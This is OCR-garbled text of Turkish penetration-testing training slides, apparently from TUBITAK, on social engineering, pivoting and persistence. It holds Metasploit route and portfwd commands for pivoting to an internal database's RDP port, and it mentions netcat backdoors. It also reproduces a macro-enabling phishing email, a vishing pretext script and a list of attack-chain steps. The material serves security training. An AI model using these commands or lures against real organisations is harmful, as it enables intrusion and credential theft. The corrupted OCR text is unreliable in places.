id 7D3EEBD5S4BC; Mon, 17 Jun 2013 15:10:00 40200 (CEST)
To:| pentest.egitimif@yandex.com |
Subject: Test
From: "=?UTF—8?B?SHDBCEVEﬂW&gQEFu?="I<huseyin.can@tubitak.gnv.tr}|
X-Priority: 3 (Normal)
Inportance: Normal
Errors-To: huseyin.canf@tubitak.gov.tr
Reply-To: huseyvin.canf@tubitak.gov.tor
Content-Type: text/plain; charset=utf-8
Meszage-Id: <20130617131001.7D3EBDE4BCEemkei.ce>
Date: Mon, 17 Jun 2013 15:10:00 40200 (CEST)
Return-Path: huseyin.canftubitak.gov.tr
X-Yandex-Forward: 45adaB8225836d793944f558a11f5cc8d

est mailidir.

by mxfronté.mail.vyvandex.net (nwemtp,/Yandex) with ESMTP id SLEXTc4S55X-LA3USx1JN:

Authentication-Results: mxfronté.mail.vandex.net; spf=neutral (mxfronté.mail.vyvandex.nef

TUBITAK

53

E% MG MDD
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Sosyal MUhendislik Saldiri Sonrasi [ ‘@'
i

Farkl Erisilen
Sistemlere Sistemlerde
Erisim Kalicilik
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Pivoting “

P|vot|ng Ned|r7

Tek bir nokta lizerinden aga yayilma teknigi

Ele gecirilen ilk sistemi kullanarak ulasilamayan sistemlere erismek

Trafigi, erisilemeyen farkh bir aga yonlendirme

Pivoting turleri I

= Metasploit Framework

= Route eklenmesi, Port yonlendirme, VPN Pivoting
= SSH tiinelleme
= Statik ve dinamik port yonlendirme

= Windows araglari

= netsh port proxy, fpipe, netcat
- F o o
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B Y

Ele gecirilen sistem baska aglara bagh mi?

= Tarama yapilmali

= Erisilebilen aglar belirlendikten sonra yonlendirme yapilmali

msf> route add hedef ag hedef subnet meterpreter_oturum_id

Mevcut yonlendirme tablosunu gormek igin

msf> route print

msf> route remove hedef _ag hedef_subnet meterpreter_oturum_id

> e - e
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MSF Pivoting - Yonlendirme “ @

TUBITAK
’ |

g _
Glivenlik Web Veritabani
Duvari Sunucusu Sunucusu

Ele gecirilen kurban (Web sunucusu) relay sunucusu olarak davranir.

- _—

Sadece TCP protokolii ile ¢calisir.

= meterpreter > portfwd —h
= portfwd add -l 4444 -p 3389 -r DatabaseServerlP
= meterpreter > portfwd delete -| 4444 -p 3389 -r DatabaseServerlP

57
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Sistemde Kalici Olma (Persistence) "

Hedefteki eksik yamalar gegilébiliri

Bazi exploitler tek atimliktir.

Bazen hedefe birden fazla erisim gerekebilir.

Sistemin yeniden baslatilmasi kurulan baglantilari
koparabilir.

= Kalici Metasploit meterpreter Pw E

“No, yo e going to ha n this opportunity )

= Netcat ile arka kapi
= Dogal OS Uygulamalarl (RDP SSH, Telnet )

T W W Y T e w
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Senaryolar & Basari Oranlari

TUBITAK

Oltalama E-postasi Eki

/ﬁcuﬁty“ﬂming Macros have been disabled. I Enable Content I \

BILiSIM TEKNOLOJILERI DAIRE BASKANLIGI’NDAN

Baskanlik Makammin talimati dogrultusunda gelistirilen “Bilisim Sistemleri Koruma Kalkani™
vazilimi iizerinden kurumumuz calisanlarmmn bilisim sistemleri giivenlik ihlalleri takip edilmektedir.
Sistem kawvitlarnda vapilan incelemede, kurumsal giivenlik politikamizi ihlal eden kullanicilar tespit
edilmis olup, ekte listelenmistir.

Bilisim sistemleri giivenlik politikasma uvma konusunda daha titiz davranmaniz hususunda
geregini énemle rica ederim.

% 116

Bilisim Teknolojileri Daire Baskam

NOT: Kurum personelinin bilisim sistemleri giivenlik ihlallerini g&steren detavli tablo ekte
bulunmaktadwr. Tablonun igerigini dizgin gorintilevebilmek icin makrolarm etkinlestirilmesi
gerekmektedir. Makrolar: etkinlestirmek igin dokiiman agilmca gikan giivenlik uvarismm se:;enekl/er

kismindan “Bu icerigi etkinlestir” uvarisi onavlanmalidir.

(# )65

E% MG MDD
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Senaryolar & Basari Oranlari "

' TUBITAK

v

«Merhaba,
Bilgi islem Daire Baskanlii Sistem Yénetimi Grubundan ariyorum, ismim ......

E-posta sistemimizde kritik glivenlik giincellestirmesi mevcut ve bazi kullanicilar

bu glincellestirmeyi almamis. Giincellestirmeleri almak icin séyleyecegim adrese giris

yapmaniz gerekmektedir. »

% 90

écu rity Warning @\

Do you want to run this application?

Name: Java

Publisher: UNKNOWN

From: http://192.168.1.157

Risk: This application will run with unrestricted access which may put your computer and
personal information at risk. Run this application only if you trust the publisher.,

More Information

Select the box below, then click Run to start the application

{ accept the risk and want to run this application Run Cancel

&2 show Options
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abc@xyz.com adresine oltama maili yollanmasi
[

Ters baglanti kurulan sistemde hak yukseltilmesi
[

Elde edilen yerel yonetici parola 6zetinin agdaki diger bilgisayarlarda denenmesi
[

Erisim saglanan sistemlerden gizli dosya elde edilmesi

Etki alanina kullanici ekleme ve hak yukseltme
[

DMZ’de bulunan Web sunucunun ele gecirilmesi
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